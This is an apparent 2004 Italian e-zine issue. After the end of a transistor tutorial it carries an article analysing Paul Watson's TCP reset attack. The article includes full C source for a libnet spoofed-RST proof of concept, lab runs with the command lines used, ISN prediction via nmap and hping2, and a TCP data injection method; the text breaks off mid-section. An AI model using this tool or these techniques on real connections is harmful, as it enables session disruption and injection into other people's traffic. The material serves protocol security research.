Perche' un transistor funzioni correttamente e' necessario che l'emettitore sia molto piu' drogato della base e che la base sia molto piu' stretta dell'emettitore. Si fa questo per avere effetto transistore e per aumentare il fattore di amplificazione. Per limitare inoltre l'effetto Early si deve drogare il collettore meno della base. Per parlare correttamente del funzionamento di un transistor e' necessario parlare delle grandezze in gioco: Vce, la tensione fra collettore ed emettitore; Vbe, la tensione fra base ed emettitore; Ic, la corrente di collettore; Ib, la corrente di base; Ie, la corrente di emettitore. Durante il normale utilizzo del transistor e' bene aver presenti alcune regole elementari: - Ic = Ib + Ie - La giunzione BE e' polarizzata direttamente mentre la giunzione CB e' polarizzata inversamente per l'utilizzo in zona lineare. - Ic = (B + 1)Ib (solo in zona lineare) I transistor funzionano in tre zone tipiche: in saturazione, in zona attiva e in zona di interdizione. La prima e l'ultima sono utili durante le applicazioni digitali mentra la zona attiva ha diverse applicazioni ed e' applicata nell'amplificazione di segnali analogici, come ad esempio l'audio. Per ottenere la saturazione entrambe le giunzioni devono essere polarizzate direttamente mentre, per avere interdizione le zone devono essere polarizzate inversamente. La zona attiva si ottiene applicando polarizzazione diretta alla giunzione BE e polarizzazione inversa alla giunzione BC. Esiste una quarta modalita' d'uso detta Attiva Inversa che pero'non e' molto utilizzata per via della conformazione fisica del transistor (non si tratta di un dispositivo simmetrico). MOSFET I transistor ad effetto di campo si differenziano dai BJT per le modalita' costruttive e per il modo in cui funzionano. In un substrato di un tipo vengono iniettate due zone molto drogate del tipo opposto e viene inoltre applicato uno strato di ossido di silicio al quale viene collegato un contatto detto gate. Alle zone molto drogate vengono collegati due contatti, chiamati rispettivamente source e drain (sorgente e pozzo). Supponendo source e base a massa, applicando tensione al gate si crea un canale elettronico tra source e drain che permette alla corrente di fluire. La tensione necessaria da applicare al gate per aprire il canale elettronico viene chiamata tensione di soglia. Un transistor di questo tipo ha tre zone operative: la zona lineare, la zona di saturazione e la zona di interzione. Un MOSFET e' spento se la tensione di gate rispetto a quella di source Vgs e` minore della tensione di soglia. Se la tensione e' maggiore il transistor puo' trovarsi in condizione di linearita' o di saturazione a seconda che la tensione tra drain e source Vds sia minore o maggiore della differenza tra la Vgs e la tensione di soglia Vth. GREETINGS Un grazie ed un saluto a: S.P.I.N.E. Group, lo staff di OndaQuadra, il team di sviluppatori di Xfce, lo staff di Slackit.org e chiunque altro abbia dimenticato :-) Se avete qualcosa da chiedere scrivetemi. Eduard 'master^shadow' Roccatello org> ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] :: [O]nda[Q]uadra [0X0C] OQ20040615[0C] :: :: [0x07][SECURiTY] ELEMENTARE WATS0N! [eazy] :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 1. Premessa 2. Introduzione 3. Fondamenti TCP 4. L'attacco di reset 5. Codice Tcp Reset 6. Stime dei tempi 7. Risultati dei test sulla rete 8. Predizione degli ISN 9. Attacco di injection 10. Codice Tcp Inject 11. Riferimenti 1. Premessa In questo articolo analizzeremo le problematiche relative al protocollo TCP evidenziate da Paul Watson nel suo paper dal titolo "Slipping In The Window: TCP Reset Attacks". Lo scopo di questo articolo quello di riprendere in mano l'analisi di Watson al fine di verificare effettivamente quali informazioni possono essere considerate attendibili e quali invece sono da considerarsi tendenziose. Verranno inoltre descritte alcune varianti dell'attacco che permettono ad un attacker di iniettare dei dati all'interno della sessione TCP. 2. Introduzione Circa un mese fa, in occasione della conferenza CanSecWest, Paul Watson ha rilasciato il suo paper dal titolo "Slipping In The Window: TCP Reset Attacks" che descrive un attacco grazie al quale sarebbe possibile resettare una sessione TCP remota. Tale notizia, alimentata a dovere dai media, sfociata nel solito falso allarmismo tanto amato da molti giornalisti che popolano la televisione e i giornali. Dall'altra parte i ricercatori hanno reagito in tutt'altra maniera criticando Watson e affermando che di tale problematica si era gi al corrente da tempo e che non siamo di fronte a nulla di nuovo. I pi attenti di voi, che si sono presi la briga di leggere il paper in questione, si saranno accorti invece che Watson dice espressamente di voler riprendere in mano nel suo paper un'analisi di Convery e Franz dal titolo "BGP Vulnerability Testing: Separating Fact from FUD" che ritiene non del tutto corretta. 3. Fondamenti TCP Prima di addentrarci nella parte piu' tecnica dell'articolo cerchero' di fare una piccola introduzione sul protocollo TCP in modo tale da permettere anche ai meno esperti di comprendere l'articolo. Tuttavia e' bene precisare che una trattazione completa dell'argomento richiederebbe molto tempo ed esula dagli scopi dell'articolo pertanto mi limitero' a una breve introduzione. Per chi volesse approfondire posso consigliare la lettura del testo [3]. Quando due host vogliono stabilire una sessione TCP devono procedere a quello che viene definito 3 way handshake, un processo composto da tre fasi grazie al quale i due host si sincronizzano. Eccone un esempio visto da tcpdump: Il primo pacchetto TCP ha il flag SYN settato e indica all'host che lo riceve che il mittente vuole stabilire una nuova connessione 19:18:08.533177 192.168.1.5.32986 > 192.168.1.6.23: S 1779314092:1779314092(0) win 5840 L'altro host risponde con un pacchetto TCP con i flag SYN e ACK settati e indica che l'host ha accettato la richiesta di connessione 19:18:08.533437 192.168.1.6.23 > 192.168.1.5.32986: S 1159405505:1159405505(0) ack 1779314093 win 5792 Infine, il primo host invia un pacchetto TCP con il flag ACK settato che funge da conferma per il pacchetto precedentemente ricevuto 19:18:08.533473 192.168.1.5.32986 > 192.168.1.6.23: . ack 1159405506 win 5840 La sessione TCP tra i due host stabilita. Ma cosa sono quei numeri 1779314092 e 1159405505? Beh, quei numeri sono dei valori a 32 bit che prendono il nome di numeri di sequenza e vengono utilizzati dal protocollo TCP per contrassegnare univocamente ogni byte scambiato nel corso della sessione. Vediamo come procede la sessione TCP una volta che la connessione e' stabilita: Il primo host invia 6 byte di dati al secondo host, i numeri di sequenza che identificano univocamente i 6 byte trasmessi sono quelli che vanno da 1779314093 a 1779314099 escluso. 19:18:38.254030 192.168.1.5.32986 > 192.168.1.6.23: P 1779314093:1779314099(6) ack 1159405506 win 5840 Il secondo host riceve il pacchetto contenente i 6 byte di dati e risponde con un pacchetto con flag ACK settato che funge da conferma. Il valore del campo acknowledgment number vale 1779314099 e indica il prossimo numero di sequenza atteso dal proprio interlocutore. Indica implicitamente che tutti i byte precedenti sono stati ricevuti con successo. 19:18:38.254243 192.168.1.6.23 > 192.168.1.5.32986: . ack 1779314099 win 5792 Se l'host con IP address 192.168.1.5 volesse inviare ulteriori dati dovrebbe utilizzare come numero di sequenza 1779314099 ovvero il prossimo numero di sequenza atteso dal suo interlocutore. 4. L'attacco di reset Il concetto alla base dell'attacco ipotizzato da Watson che affinche' un pacchetto TCP di reset venga accettato dallo stack non necessario che il sequence number sia necessariamente il prossimo numero di sequenza (SEQ) atteso dal nostro interlocutore bensi' un qualsiasi numero di sequenza che si trovi nel range di valori tra il prossimo SEQ atteso e tale valore piu' la window size. Riprendendo l'esempio precedente questo vuol dire che se l'host con IP address 192.168.1.5 desiderasse resettare la connessione potrebbe inviare un pacchetto con la flag RST settata e con un numero di sequenza compreso tra 1779314099 e 1779314099 + 5792. Vediamo cosa dice in merito l'RFC 793 del TCP: A segment is judged to occupy a portion of valid receive sequence space if RCV.NXT =< SEG.SEQ < RCV.NXT+RCV.WND or RCV.NXT =< SEG.SEQ+SEG.LEN-1 < RCV.NXT+RCV.WND The first part of this test checks to see if the beginning of the segment falls in the window, the second part of the test checks to see if the end of the segment falls in the window; if the segment passes either part of the test it contains data in the window. dove RCV.NXT = il prossimo SEQ atteso RCV.NXT+RCV.WND = il massimo valore di SEQ atteso SEG.SEQ = il valore del SEQ effettivamente ricevuto SEG.SEQ+SEG.LEN-1 = il valore del SEQ dell'ultimo byte ricevuto Nel nostro caso: 1779314099 =< SEG.SEQ < 1779314099 + 5792 il valore della window size si puo' ricavare dalla voce "win 5792" relativa dall'output di tcpdump precedentemente analizzato. Sempre dall'RFC 793 si puo' leggere quanto segue: Receive Sequence Space 1 2 3 ----------|----------|---------- RCV.NXT RCV.NXT +RCV.WND 1 - old sequence numbers which have been acknowledged 2 - sequence numbers allowed for new reception 3 - future sequence numbers which are not yet allowed Receive Sequence Space Figure 5. The receive window is the portion of the sequence space labeled 2 in figure 5. Ma cos'e' questa window size? Ancora una volta possiamo trovare una risposta nell'RFC: The window sent in each segment indicates the range of sequence numbers the sender of the window (the data receiver) is currently prepared to accept. There is an assumption that this is related to the currently available data buffer space available for this connection. Quanto grande e' di norma il valore relativo alla window size? Tale valore varia per ogni sistema operativo, ed possibile ricavarlo semplicemente connettendosi alla macchina e osservando la fase di handshake della connessione: 19:18:08.533177 192.168.1.5.32986 > 192.168.1.6.23: S 1779314092:1779314092(0) win 5840 19:18:08.533437 192.168.1.6.23 > 192.168.1.5.32986: S 1159405505:1159405505(0) ack 1779314093 win 5792 19:18:08.533473 192.168.1.5.32986 > 192.168.1.6.23: . ack 1159405506 win 5840 I due host sono due macchine Linux con kernel 2.4.18 e 2.4.20 e usano un valore di window size di 5840 e 5792. Le macchine Windows XP/2000 usano window size molto piu' grandi che variano a seconda del service pack montato, i valori della window size per tali sistemi puo' variare dai 16384 ai 64512. Per maggiori dettagli e' possibile fare riferimento alla Figura 4 del paper [1] di Watson. Come puo' essere sfruttata questa caratteristica da un attacker per resettare una connessione? Un attacker dovrebbe inviare un pacchetto TCP con il flag RST settato e spoofato in modo tale che sembri provenire da uno dei due capi della sessione. Affinche' l'attacco vada a buon fine il pacchetto TCP spoofato inviato dall'attacker deve contenere un numero di sequenza valido. Abbiamo visto che lo stack TCP accetta come buono un pacchetto se il suo numero di sequenza cade nell'intervallo tra il valore atteso e tale valore piu' la window size. Questo vuol dire che se un attacker volesse resettare una sessione TCP remota non sarebbe costretto a inviare tanti pacchetti quanti i possibili valori di sequence number (2^32) bensi' tanti quanti i possibili intervalli di window size (2^32 / window size). Questo riduce di molto il numero di tentativi necessari facilitando la possibilit di un attacco di reset. Piu' e' grande il valore relativo alla window size tanto piu' velocemente sara' possibile portare a termine l'attacco. Esiste tuttavia un ulteriore elemento di variabilita'. L'attacker puo' sfruttare la window size per ridurre il numero di tentativi necessari per indovinare il numero di sequenza esatto ma deve essere in grado di indovinare anche la porta sorgente del pacchetto. Ricapitoliamo. L'attacker ha bisogno delle seguenti informazioni per forgiare un pacchetto di reset valido: 1) IP sorgente e destinazione: sono gli indirizzi dei due capi della connessione di cui l'attacker e' a conoscenza; 2) numero di sequenza: puo' essere indovinato a tentativi usando il *trucco* della window size. Il numero di tentativi necessari e' inversamente proporzionale alla grandezza della window. 3) porta di destinazione: solitamente e' un valore standard a seconda del protocollo applicativo utilizzato, esempio http 80, smtp 25; 4) porta sorgente: e' un elemento variabile il cui comportamento dipende dal sistema operativo. Come ci ricaviamo la porta sorgente? A questo punto l'incognita piu' grossa per il nostro attacker rimane determinare la porta sorgente che ha originato la sessione TCP. La porta sorgente e' una variabile a 16 bit che puo' assumere 65536 valori possibili, tuttavia nella maggior parte dei sistemi operativi tale valore viene scelto secondo un algoritmo talmente semplice da permetterne la predizione. Ogni sistema operativo utilizza un valore iniziale di porta sorgente ben definito e incrementa tale valore di uno per ogni nuova connessione stabilita dall'host. Ad esempio Linux con kernel 2.4.18 quando stabilisce la prima connessione (in veste di client) utilizza di default un valore di porta sorgente pari a 32770, per ogni nuova connessione il valore di porta sorgente viene incrementato di uno. Questo rende possibile per un attacker prevedere il valore della porta sorgente eseguendo un certo numero di tentativi, nel suo paper Watson parla di una media di 50 tentativi, tuttavia tale valore dipende molto dall'attivita' del sistema. Per maggiori approfondimenti e' possibile fare riferimento alla Figura 5 del paper [1]. 5. Codice Tcp Reset /* * tcp_reset.c: Proof of concept exploit that demonstrates the * vulnerability described by Paul A. Watson in his paper * "Slipping In The Window: TCP Reset Attacks" * * You need libnet 1.1.x * * Compile: * gcc tcp_reset.c -o tcp_reset -lnet * * By: eazy */ #include #include #include #include void usage(char *prog) { fprintf(stderr, "Usage: %s -s -d -p " " -q [-n ] [-w ] [-t ]\n" "\t-s\tsource ip address\n" "\t-d\tdestination ip address\n" "\t-p\tsource port\n" "\t-q\tdestination port\n" "\t-n\tinitial sequence number (default random)\n" "\t-w\twindow size (default 1000)\n" "\t-t\tpacket timeout (default 10000)\n" ,prog); exit(-1); } int main(int argc, char **argv) { int i, c, build_ip, opt, win = 1000, timeout = 10000; unsigned short src_port = 0, dst_port = 0; unsigned long src_ip = 0, dst_ip = 0, seq = 0; libnet_t *l; libnet_ptag_t tcp, ip; struct libnet_stats stat; char errbuf[LIBNET_ERRBUF_SIZE]; memset(&stat, 0, sizeof(stat)); if ((l = libnet_init(LIBNET_RAW4, NULL, errbuf)) == NULL) { fprintf(stderr, "Libnet_init error: %s\n", errbuf); exit(-1); } while ((opt = getopt(argc, argv, "s:d:p:q:n:w:t:h")) != -1) switch (opt) { case 's': src_ip = libnet_name2addr4(l, optarg, LIBNET_DONT_RESOLVE); break; case 'd': dst_ip = libnet_name2addr4(l, optarg, LIBNET_DONT_RESOLVE); break; case 'p': src_port = atoi(optarg); break; case 'q': dst_port = atoi(optarg); break; case 'n': seq = strtoul(optarg, NULL, 0); break; case 'w': win = atoi(optarg); break; case 't': timeout = atoi(optarg); break; case 'h': case '?': usage(argv[0]); } if (optind < argc) usage(argv[0]); if (!src_ip || !dst_ip || !src_port || !dst_port) usage(argv[0]); if (!seq) { libnet_seed_prand(l); seq = libnet_get_prand(LIBNET_PRu32); } for (tcp = LIBNET_PTAG_INITIALIZER, build_ip = 1; seq < 4294967296 - win; seq += win) { tcp = libnet_build_tcp( src_port,/* source port */ dst_port,/* destination port */ seq, /* sequence number */ 0, /* acknowledgement */ TH_RST, /* control flags */ 31337, /* window size */ 0, /* checksum */ 0, /* urgent pointer */ LIBNET_TCP_H,/* packet size */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ tcp); /* libnet id */ if (tcp == -1) { fprintf(stderr, "Libnet_build_tcp error: %s\n", libnet_geterror(l)); goto bad; } if (build_ip) { build_ip = 0; ip = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_TCP_H,/* length */ 0, /* TOS */ 666, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_TCP,/* proto */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* dest IP */ NULL, /* payload */ 0, /* pl size */ l, /* lib handle */ 0); /* libnet id */ if (ip == -1) { fprintf(stderr, "Libnet_build_ipv4 error: %s\n", libnet_geterror(l)); goto bad; } } if ((c = libnet_write(l)) == -1) { fprintf(stderr, "Libnet_write error: %s\n", libnet_geterror(l)); goto bad; } for(i = 0; i < timeout; i++); } libnet_stats(l, &stat); fprintf(stderr, "Packets sent: %d (%d bytes)\n" "Packet errors: %d\n", stat.packets_sent, stat.bytes_written, stat.packet_errors); libnet_destroy(l); exit(0); bad: libnet_destroy(l); exit(-1); } 6. Stime dei tempi Quanto tempo e' necessario per portare a termine l'attacco? Dipende prima di tutto dalla connessione a nostra disposizione, dalla connessione del sistema target e dal valore della window size. La formula che ci permette di calcolare il tempo e' la seguente: NSEQ / WINDOW / PKT_PER_SECOND Dove NSEQ sono tutti i possibili valori di sequence number, WINDOW e' il valore assunto dalla window size del sistema destinatario dei pacchetti e PKT_PER_SECOND e' il numero di pacchetti al secondo che l'attacker e' in grado di generare. Facciamo due conti, per semplicita' assumiamo che il sistema target disponga di una connessione con una banda in downstream uguale o superiore alla nostra e che l'attacker sia a conoscenza della porta sorgente. Personalmente dispongo di una ADSL con 640 Kbps in downstrem e 256 Kbps in upstream, cio' che ci interessa in questo caso e' la banda in upstream ovvero quanti pacchetti siamo in grado di inviare in uscita. Se ogni pacchetto e' composto da 20 byte di header IP piu' altri 20 byte di header TCP possiamo considerare una lunghezza di 40 byte per ogni pacchetto, visto che un pacchetto RST non ha alcun payload. Con una banda a disposizione di 256 Kbps ovvero 32 KB/sec vuol dire che siamo in gradi di trasmettere: 32 * 1024 = 32768 byte al secondo che espresso in numero di pacchetti 32768 / 40 = 819 pacchetti circa al secondo Assumiamo un NSEQ pari a 2^32 / 2, diviso 2 perche' statisticamente dovremmo indovinare il valore corretto dopo aver effettuato il 50% dei tentativi. Assumiamo poi una WINDOW pari a 16384 che e' il valore di default per molti sistemi Windows e PKT_PER_SECOND pari a 819 ovvero il valore calcolato in precedenza. Applicando la formula otteniamo un valore medio di: 2^32 / 2 / 16384 / 819 = ~ 160 secondi Per un sistema Linux con kernel 2.4 che adotta una WINDOW piu' piccola il tempo risulta maggiore: 2^32 / 2 / 5840 / 819 = ~ 449 secondi Queste stime sono da considerarsi tuttavia poco indicative visto che abbiamo assunto per semplicita' che l'attacker sia a conoscenza della porta sorgente cosa che nella realta' risulta falsa. Pertanto per avere delle stime piu' attendibili e' necessario moltiplicare il valore stimato per il numero di tentativi necessari per indovinare la porta sorgente (nel paper [1] si parla di una media di 50 tentativi). Tuttavia tali stime risultano sicuramente meno tendenziose di quelle presentate da Watson nel suo paper, alcune di esse in particolare rasentano a mio avviso il ridicolo. Seguono alcune stime presentate da Watson nel paper [1] che a mio avviso risultano poco attendibili: 2^32 / 2 / 16384 / 62500 = ~ 2 secondi la prima cosa che balza all'occhio e' il valore dei pacchetti generati al secondo 62500. Assumendo una grandezza di 40 byte per ogni pacchetto calcolato come 20 byte di IP header piu' 20 byte di TCP header e nessun payload possiamo stimare la banda assunta da Watson nell'esempio: 62500 * 40 * 8 / 1024 / 1024 = ~ 19 Mbit Diciamo che una banda del genere non e' da tutti! Altra tabella nel paper di Watson che riporta a mio avviso dei dati tendenziosi: Internet | Time Requirement Connectivity | known source port | ..... | ..... 45mbps | 1/2 second 155mbps | 1/10 second | Se da un punto di vista puramente matematico i valori stimati non fanno una piega bisogna dire che essi non tengono conto di una cosa fondamentale ovvero che la vittima dovrebbe disporre di una banda in ingresso almeno pari a quella dell'attaccante! Ma cosa succede se un attacker dovesse resettare un target che si trova su una linea ADSL? Succede che l'attacker puo' anche avere tutta la banda che vuole a disposizione ma non puo' generare un numero di pacchetti superiore a quello consentito dalla linea del destinatario pena vedersi droppare gran parte del traffico. 7. Risultati dei test sulla rete Bando alle ciance. Fino ad ora abbiamo fatto tanti calcoli ma non abbiamo ancora concluso nulla di concreto. In questa sezione dell'articolo vedremo i risultati di alcuni test condotti con una banda a disposizione pari a quella ipotizzata per le stime ovvero una ADSL con 256 Kbps in upstream. Per questioni di tempi i test sono stati condotti assumendo che la porta sorgente sia conosciuta dall'attacker, come detto in precedenza i risultati dei tempi ottenuti vanno moltiplicati per il numero di tentativi necessari per indovinare la porta sorgente (nel paper [1] si parla di una media di 50 tentativi). I test sono stati condotti utilizzando il sorgente tcp_reset.c fornito nel capitolo 5 e il comando time per misurare il tempo di esecuzione di netcat dal momento in cui viene avviato al momento in cui termina l'esecuzione a seguito del reset della connessione. Come prima cosa tariamo la velocita' con cui i pacchetti dovranno essere generati, sappiamo che con una banda in upstrem di 256 Kbps possiamo generare al massimo 819 pacchetti/secondo (vedi calcoli fatti in precedenza). Settiamo un sequence number di partenza di 4294966477 (2^32 - 819) e impostiamo la window size a 1, questo causera' la generazione di 818 pacchetti. Come primo tentativo usiamo un valore di timeout tra un pacchetto e l'altro di 100000 e usiamo il comando time per calcolare il tempo di esecuzione: # gcc tcp_reset.c -lnet # time ./a.out -s 192.168.1.6 -d 192.168.1.5 -p 1071 -q 23 -n 4294966477 -w 1 -t 100000 Packets sent: 818 (32720 bytes) Packet errors: 0 real 0m0.507s user 0m0.470s sys 0m0.040s Abbiamo generato 818 pacchetti in circa mezzo secondo, troppo veloce. Riproviamo con un valore di timeout di 200000: # time ./a.out -s 192.168.1.6 -d 192.168.1.5 -p 1071 -q 23 -n 4294966477 -w 1 -t 200000 Packets sent: 818 (32720 bytes) Packet errors: 0 real 0m0.976s user 0m0.910s sys 0m0.070s Ci siamo quasi, abbiamo generato 818 pacchetti in poco meno di un secondo, proviamo ad aggiustare di poco il timeout: # time ./a.out -s 192.168.1.6 -d 192.168.1.5 -p 1071 -q 23 -n 4294966477 -w 1 -t 210000 Packets sent: 818 (32720 bytes) Packet errors: 0 real 0m1.023s user 0m0.990s sys 0m0.030s Ora va bene, sappiamo che durante i nostri test dovremo utilizzare un valore di timeout di 210000. A questo punto siamo pronti ad eseguire dieci prove consecutive e raccogliere i dati relativi ai tempi. Sulla macchina 192.168.1.5 avviamo netcat in ascolto sulla porta 23 e dalla macchina 192.168.1.6 avviamo una sessione telnet verso il primo host. Una volta che la connessione e' stabilita, da una terza macchina, avviamo il nostro tcp_reset.c illustrato nei paragrafi precedenti: ./a.out -s 192.168.1.6 -d 192.168.1.5 -p 1071 -q 23 -n 1 -w 5840 -t 210000 -s e' l'indirizzo IP sorgente spoofato -d e' l'indirizzo IP di destinazione -p e' la porta sorgente, assumendo sia conosciuta -q e' la porta di destinazione -n e' il primo numero di sequenza da provare -w e' la grandezza della window size -t e' il timeout e regola la velocita' con cui i pacchetti sono generati Ecco i risultati ottenuti, ovvero il tempo necessario per eseguire un reset della sessione: # time nc -l -p 23 y !"'y real 3m48.960s user 0m0.000s sys 0m0.000s # time nc -l -p 23 y !"'y real 6m15.618s user 0m0.000s sys 0m0.000s # time nc -l -p 23 y !"'y real 8m43.024s user 0m0.000s sys 0m0.000s # time nc -l -p 23 y !"'y real 8m41.362s user 0m0.000s sys 0m0.000s # time nc -l -p 23 y !"'y real 11m42.991s user 0m0.010s sys 0m0.010s # time nc -l -p 23 y !"'y real 8m19.220s user 0m0.010s sys 0m0.000s # time nc -l -p 23 y !"'y real 10m12.173s user 0m0.000s sys 0m0.000s # time nc -l -p 23 y !"'y real 10m5.096s user 0m0.000s sys 0m0.000s # time nc -l -p 23 y !"'y real 9m53.191s user 0m0.000s sys 0m0.010s # time nc -l -p 23 y !"'y real 7m14.511s user 0m0.000s sys 0m0.000s Dai tempi rilevati possiamo calcolare un valore medio: 4573 / 10 = ~ 457 secondi Come possiamo vedere tale valore si avvicina molto ai 422 secondi stimati. 8. Predizione degli ISN Il numero di sequenza iniziale (ISN) e' il primo numero di sequenza scambiato da ciascun host nella fase iniziale di handshake. 19:18:08.533177 192.168.1.5.32986 > 192.168.1.6.23: S 1779314092:1779314092(0) win 5840 19:18:08.533437 192.168.1.6.23 > 192.168.1.5.32986: S 1159405505:1159405505(0) ack 1779314093 win 5792 19:18:08.533473 192.168.1.5.32986 > 192.168.1.6.23: . ack 1159405506 win 5840 In questo caso l'ISN generato dall'host 192.168.1.5 e' 1779314092 mentre l'ISN generato dall'host 192.168.1.6 e' 1159405505. Per motivi di sicurezza gli ISN vengono generati mediante un algoritmo pseudo random che dovrebbe scongiurare la possibilita' di attacchi blind spoofing mediante la predizione del numero di sequenza iniziale. Per la precisione l'algoritmo genera nuovi ISN per incrementi random, questo vuol dire che conosciuto l'ISN della sessione TCP x non siamo in grado di prevedere con esatezza il valore dell'ISN per la futura sessione x+1 ma sappiamo che il suo valore sara' sicuramente superiore al precedente. Come possiamo sfruttare questa conoscenza nel contesto dell'attacco di reset? Se l'attacker si trova nella condizione di poter sapere piu' o meno quando verra' stabilita la sessione TCP che desidera resettare sara' in grado di eseguire dei campionamenti degli ISN correnti al fine di calcolare l'incremento random medio degli ISN. Questo gli permetterebbe di ridurre notevolmente lo spazio di numeri di sequenza da testare. Se prima lo spazio di numeri di sequenza da testare era dato dalla formula: 2^32 / window size / 2 calcolato l'incremento random medio INC, lo spazio di numeri di sequenza da testare si riduce a un multiplo di INC: INC * N / window size / 2 dove INC e' un valore molto inferiore rispetto a 2^32 e N e' un valore che cresce in funzione del numero di connessioni che il sistema oggetto della nostra analisi si trova a gestire e del tempo trascorso tra il campionamento e il momento in cui la sessione TCP da resettare viene effettivamente stabilita. Con nmap possiamo vedere l'algoritmo utilizzato per la generazione degli ISN in questo modo: # nmap -sT -O -v 192.168.1.6 Starting nmap V. 2.54BETA34 ( www.insecure.org/nmap/ ) Host (192.168.1.6) appears to be up ... good. Initiating Connect() Scan against (192.168.1.6) Adding open port 22/tcp The Connect() Scan took 0 seconds to scan 1556 ports. For OSScan assuming that port 22 is open and port 1 is closed and neither are firewalled Interesting ports on (192.168.1.6): (The 1555 ports scanned but not shown below are in state: closed) Port State Service 22/tcp open ssh Remote operating system guess: Linux Kernel 2.4.0 - 2.4.18 (X86) Uptime 0.464 days (since Tue May 25 10:18:37 2004) TCP Sequence Prediction: Class=random positive increments Difficulty=1676692 (Good luck!) IPID Sequence Generation: All zeros Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds L'informazione che maggiormente ci interessa in questo caso e' la voce TCP Sequence Prediction che indica la presenza di un algoritmo di generazione degli ISN basato su incrementi positivi random. Ora che ci siamo accertati dell'algoritmo di generazione possiamo procedere al campionamento degli ISN. Il campionamento lo dobbiamo fare sull'host che vogliamo spoofare nel nostro caso l'host 192.168.1.6. Avviamo tcpdump sulla nostra macchina con le seguenti opzioni: # tcpdump -nS Poi lanciamo hping2 in modo tale da generare un pacchetto di richiesta di connessione ogni 10 secondi ad una delle porte che risultano aperte, nel nostro caso la 22: # hping2 -S -i 10 -p 22 192.168.1.6 Torniamo al terminale sul quale e' in esecuzione tcpdump e prendiamo in esame i valori degli ISN generati dall'host 192.168.1.6 in seguito alle nostre richieste: # tcpdump -nS tcpdump: listening on eth0 21:09:07.732212 192.168.1.7.1040 > 192.168.1.6.22: S 537892750:537892750(0) win 512 21:09:07.732431 192.168.1.6.22 > 192.168.1.7.1040: S 2056347804:2056347804(0) ack 537892751 win 5840 21:09:07.732457 192.168.1.7.1040 > 192.168.1.6.22: R 537892751:537892751(0) win 0 21:09:17.729905 192.168.1.7.1041 > 192.168.1.6.22: S 2044483570:2044483570(0) win 512 21:09:17.730093 192.168.1.6.22 > 192.168.1.7.1041: S 2066260198:2066260198(0) ack 2044483571 win 5840 21:09:17.730119 192.168.1.7.1041 > 192.168.1.6.22: R 2044483571:2044483571(0) win 0 . . . Appena sappiamo che i due host hanno stabilito una connessione possiamo procedere eseguendo tcp_reset.c passandogli come sequence number di partenza l'ultimo ISN campionato. ./a.out -s 192.168.1.6 -d 192.168.1.5 -p 2729 -q 23 -n 2066260198 -w 5700 -t 210000 Sappiamo che il numero di sequenza comunicato da 192.168.1.6 per la nuova sessione sara' di poco superiore al valore precedentemente campionato per via dell'algoritmo ad incrementi random positivi utilizzato per la generazione degli ISN. Come possiamo vedere in questo caso il tempo necessario per il reset della sessione TCP e' di soli 26 secondi contro i 457 secondi nel caso standard. # time nc -l -p 23 ? !"' real 0m26.746s user 0m0.010s sys 0m0.000s Come detto all'inizio del paragrafo questa tecnica e' applicabile esclusivamente nel caso in cui l'attacker si trova nella condizione di poter sapere piu' o meno quando verra' stabilita la sessione TCP che desidera resettare. 9. Attacco di injection Nell'advisory [5] che descrive i dettagli dell'attacco si puo' leggere: "Data injection may be possible. However, this has not been demonstrated and appears to be problematic." A mio avviso questo non e' del tutto vero, anche se un attacco di injection risulta leggermente piu' complesso puo' essere portato a termine con successo senza troppe difficolta'. Se al posto dei pacchetti di reset inviamo dei pacchetti TCP con flag PUSH settato contenenti un certo numero di byte di dati come payload e siamo in grado di indovinare il sequence number corretto all'interno della window allora siamo in grado di iniettare dati arbitrari nella sessione TCP. Osserviamo una tipica sessione telnet come appare dall'output di tcpdump, l'host 192.168.1.6 stabilisce una connessione telnet con l'host 192.168.1.5: 17:28:08.453823 192.168.1.6.1035 > 192.168.1.5.23: S 1954259839:1954259839(0) win 5840 17:28:08.453869 192.168.1.5.23 > 192.168.1.6.1035: S 2222421761:2222421761(0) ack 1954259840 win 5792 17:28:08.454083 192.168.1.6.1035 > 192.168.1.5.23: . ack 2222421762 win 5840 17:28:08.460539 192.168.1.6.1035 > 192.168.1.5.23: P 1954259840:1954259864(24) ack 2222421762 win 5840 17:28:08.460590 192.168.1.5.23 > 192.168.1.6.1035: . ack 1954259864 win 5792 Come possiamo vedere dall'ultimo pacchetto il prossimo numero di sequenza atteso da 192.168.1.5 e' 1954259864 pertanto affinche' il nostro pacchetto contenente i dati che desideriamo iniettare venga considerato valido dovra' essere nel range di numeri di sequenza tra 1954259864 e 1954259864 + 5792. Proviamo a iniettare 10 byte di caratteri 'a' usando come sequence number 1954259864 + 10 che cade all'interno della finestra ma risulta essere dieci numeri di sequenza piu' avanti rispetto a quello atteso: 17:30:11.615495 192.168.1.6.1035 > 192.168.1.5.23: P 1954259874:1954259884(10) win 31337 L'altro host ci risponde con un ack 1954259864: 17:30:11.615549 192.168.1.5.23 > 192.168.1.6.1035: . ack 1954259864 win 5792 questo vuol dire che il prossimo pacchetto che si aspettava di ricevere avrebbe dovuto avere come sequence number 1954259864 e non quello che abbiamo inviato noi. Ad ogni modo il pacchetto malizioso visto che rientra nella window non viene scartato bensi' viene memorizzato per dopo. Non appena l'host 192.168.1.6 generera' almeno 10 byte di traffico il nostro pacchetto verra' assemblato insieme al resto del flusso di dati: 17:31:04.928747 192.168.1.6.1035 > 192.168.1.5.23: P 1954259864:1954259881(17) ack 2222421762 win 5840 17:31:04.928809 192.168.1.5.23 > 192.168.1.6.1035: . ack 1954259884 win 5792 L'host 192.168.1.5 risponde con ack 1954259884 e NON ack 1954259881 come ci si aspetterebbe. Questo e' perche' i dati che abbiamo inviato in precedenza vengono assemblati dallo stack che conferma solo ora l'avvenuta ricezione. Ma come vengono assemblati i dati iniettati nello stack? Ecco un semplice schema: 1954259864 1954259874 |__________|__________| aaaaaaaaaa bbbbbbbbbbbbbbbrn La stringa composta da dieci caratteri 'a' e' quella che l'attacker ha inviato indovinando per tantativi un numero di sequenza che cadesse all'interno della window ovvero 1954259874. La stringa composta da 15 caratteri 'b' un carriage return e un newline e' una stringa inviata da 192.168.1.6 a 192.168.1.5. Lo stack dell'host 192.168.1.5 riassembla i dati cos ricevuti in questo modo: 